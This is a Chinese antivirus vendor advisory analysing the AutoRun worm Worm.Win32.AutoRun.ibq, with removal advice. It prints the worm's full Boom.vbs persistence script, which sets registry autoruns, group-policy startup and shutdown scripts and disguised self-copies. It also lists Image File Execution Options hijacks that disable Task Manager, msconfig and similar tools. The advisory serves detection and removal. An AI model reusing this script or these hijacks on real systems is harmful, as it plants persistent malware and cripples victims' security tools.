捕獲時間
2008-11-6
病毒摘要
該樣本是使用“ VB”編寫的蠕蟲程序，由微點主動防御軟件自動捕獲，長度為“225,280 字節”，未加殼，圖標為
，使用“exe”擴展名，通過“網頁木馬”、“移動存儲介質”、“壓縮包感染”、“ 局域網傳播”等途徑植入用戶計算機。
感染對象
Windows 2000/Windows XP/Windows 2003
傳播途徑
網頁木馬、文件捆綁、移動存儲介質
防范措施
已安裝使用微點主動防御軟件的用戶，無須任何設置，微點主動防御將自動保護您的系統免受該病毒的入侵和破壞。無論您是否已經升級到最新版本，微點主動防御都能夠有效清除該病毒。如果您沒有將微點主動防御軟件升級到最新版，微點主動防御軟件在發現該病毒后將報警提示您發現“未知木馬”，請直接選擇刪除處理（如圖1）；
圖1 主動防御自動捕獲未知病毒（未升級）
如果您已經將微點主動防御軟件升級到最新版本，微點將報警提示您發現"Worm.Win32.AutoRun.ibq”，請直接選擇刪除（如圖2）。
圖2 升級后截獲已知病毒
對于未使用微點主動防御軟件的用戶，微點反病毒專家建議：
1、不要在不明站點下載非官方版本的軟件進行安裝，避免病毒通過捆綁的方式進入您的系統。
2、盡快將您的殺毒軟件特征庫升級到最新版本進行查殺，并開啟防火墻攔截網絡異常訪問，如依然有異常情況請注意及時與專業的安全軟件廠商聯系獲取技術支持。
3、開啟windows自動更新，及時打好漏洞補丁。
病毒分析
該樣本程序被執行后，拷貝自身(均為系統、隱藏、只讀屬性)到:
%SystemRoot%\Fonts\Fonts.exe
%SystemRoot%\Fonts\tskmgr.exe
%SystemRoot%\Help\microsoft.hlp
%SystemRoot%\Media\rndll32.pif
%SystemRoot%\pchealth\helpctr\binaries\HelpHost.com
%SystemRoot%\pchealth\Global.exe
%SystemRoot%\system\KEYBOARD.exe
%SystemRoot%\system32\dllcache\Recycler.{645FF040-5081-101B-9F08-00AA002F954E}\Global.exe
%SystemRoot%\system32\dllcache\Recycler.{645FF040-5081-101B-9F08-00AA002F954E}\svchost.exe
%SystemRoot%\system32\dllcache\Recycler.{645FF040-5081-101B-9F08-00AA002F954E}\system.exe
%SystemRoot%\system32\dllcache\autorun.inf
%SystemRoot%\system32\dllcache\Default.exe
%SystemRoot%\system32\dllcache\Global.exe
%SystemRoot%\system32\dllcache\rndll32.exe
%SystemRoot%\system32\dllcache\tskmgr.exe
%SystemRoot%\system32\drivers\drivers.cab.exe
%SystemRoot%\system32\regedit.exe
并創建腳本文件：%SystemRoot%\Cursors\Boom.vbs，此腳本完成在中毒機器注銷、關機、啟動進行病毒文件復制及啟動項的添加，其內容如下：
| |
dim fs,rg
set fs = createobject("scripting.filesystemobject")
set rg = createobject("wscript.shell")
on error resume next
rg.regwrite "HKCR\.vbs\", "VBSFile"
rg.regwrite "HKCU\Control Panel\Desktop\
SCRNSAVE.EXE"," C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com"
rg.regwrite "HKCU\Control Panel\Desktop\ScreenSaveTimeOut", "30"
rg.regwrite "HKCR\MSCFile\Shell\
Open\Command\", "C:\WINDOWS\pchealth\Global.exe"
rg.regwrite "HKCR\regfile\Shell\Open\
Command\", "C:\WINDOWS\pchealth\Global.exe"
rg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnce\", "C:\WINDOWS\system32\dllcache\Default.exe"
rg.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnce\", "C:\WINDOWS\system32\dllcache\Default.exe"
rg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run\", "C:\WINDOWS\system\KEYBOARD.exe"
rg.regwrite "HKEY_CLASSES_ROOT\MSCFile\Shell\Open\
Command\", "C:\WINDOWS\Fonts\Fonts.exe"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\DisplayName","Local Group Policy"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\FileSysPath",""
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\GPO-ID","LocalGPO"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\GPOName","Local Group Policy"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\SOM-ID","Local"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\0\Parameters",""
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\0\Script","C:\WINDOWS\Cursors\Boom.vbs"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\DisplayName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\FileSysPath", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\GPO-ID", "LocalGPO"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\GPOName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\SOM-ID", "Local"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\0\Parameters", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\0\Script", "C:\WINDOWS\Cursors\Boom.vbs"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\DisplayName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\FileSysPath", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\GPO-ID", "LocalGPO"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\GPOName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\SOM-ID", "Local"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0\Parameters", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0\Script", "C:\WINDOWS\Cursors\Boom.vbs"
If Not fs.fileexists("C:\WINDOWS\Fonts\Fonts.exe") Then
fs.copyfile ("C:\WINDOWS\Help\microsoft.hlp"), ("C:\WINDOWS\Fonts\Fonts.exe")
If Not fs.fileexists("C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com")
Then fs.copyfile ("C:\WINDOWS\Help\
microsoft.hlp"), ("C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com")
If Not fs.fileexists("C:\WINDOWS\pchealth\Global.exe") Then
fs.copyfile ("C:\WINDOWS\Help\microsoft.hlp"), ("C:\WINDOWS\pchealth\Global.exe")
If Not fs.fileexists("C:\WINDOWS\system\KEYBOARD.exe")
Then fs.copyfile ("C:\WINDOWS\Help\
microsoft.hlp"), ("C:\WINDOWS\system\KEYBOARD.exe")
If Not fs.fileexists("C:\WINDOWS\system32\dllcache\Default.exe") Then
fs.copyfile
("C:\WINDOWS\Help\microsoft.hlp"), ("C:\WINDOWS\system32\dllcache\Default.exe")
If Not fs.fileexists("C:\windows\system32\drivers\drivers.cab.exe") Then
fs.copyfile ("C:\WINDOWS\Help\
microsoft.hlp"), ("C:\windows\system32\drivers\drivers.cab.exe ")
If Not fs.fileexists("C:\windows\media\rndll32.pif ") Then
fs.copyfile ("C:\WINDOWS\Help\microsoft.hlp"), ("C:\windows\media\
rndll32.pif")
If Not fs.fileexists("C:\windows\fonts\tskmgr.exe") Then
fs.copyfile("C:\WINDOWS\Help\microsoft.hlp"), ("C:\windows\fonts\tskmgr.exe") |
|
并修改注冊表實現隱藏自身，添加映像劫持，如下：
| |
項：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
鍵值：ShowSuperHidden
指向數據：0
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\auto.exe
鍵值：Debugger
指向數據：C:\WINDOWS\system32\drivers\drivers.cab.exe
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe
鍵值：Debugger
指向數據：C:\WINDOWS\system32\drivers\drivers.cab.exe
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoruns.exe
鍵值：Debugger
指向數據：C:\WINDOWS\system32\drivers\drivers.cab.exe
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boot.exe
鍵值：Debugger
指向數據：C:\WINDOWS\Fonts\fonts.exe
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ctfmon.exe
鍵值：Debugger
指向數據：C:\WINDOWS\Fonts\fonts.exe
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe
鍵值：Debugger
指向數據：C:\WINDOWS\Media\rndll32.pif
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe
鍵值：Debugger
指向數據：C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com
項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe
鍵值：Debugger
指向數據：C:\WINDOWS\Fonts\tskmgr.exe |
|
病毒完全運行后創建“Global.exe”、“svchost.exe”、“system.exe”進程，相互調用，達到進程不能被終止的效果，不斷檢測復制自身跟修改注冊表，并不停遍歷各磁盤查看是否有“autorun.inf”文件，如果有將其刪除并寫入新的“autorun.inf”，并拷貝自身名為“MS-DOS”的文件，設置上述文件為“只讀”、“系統”、“隱藏”屬性。
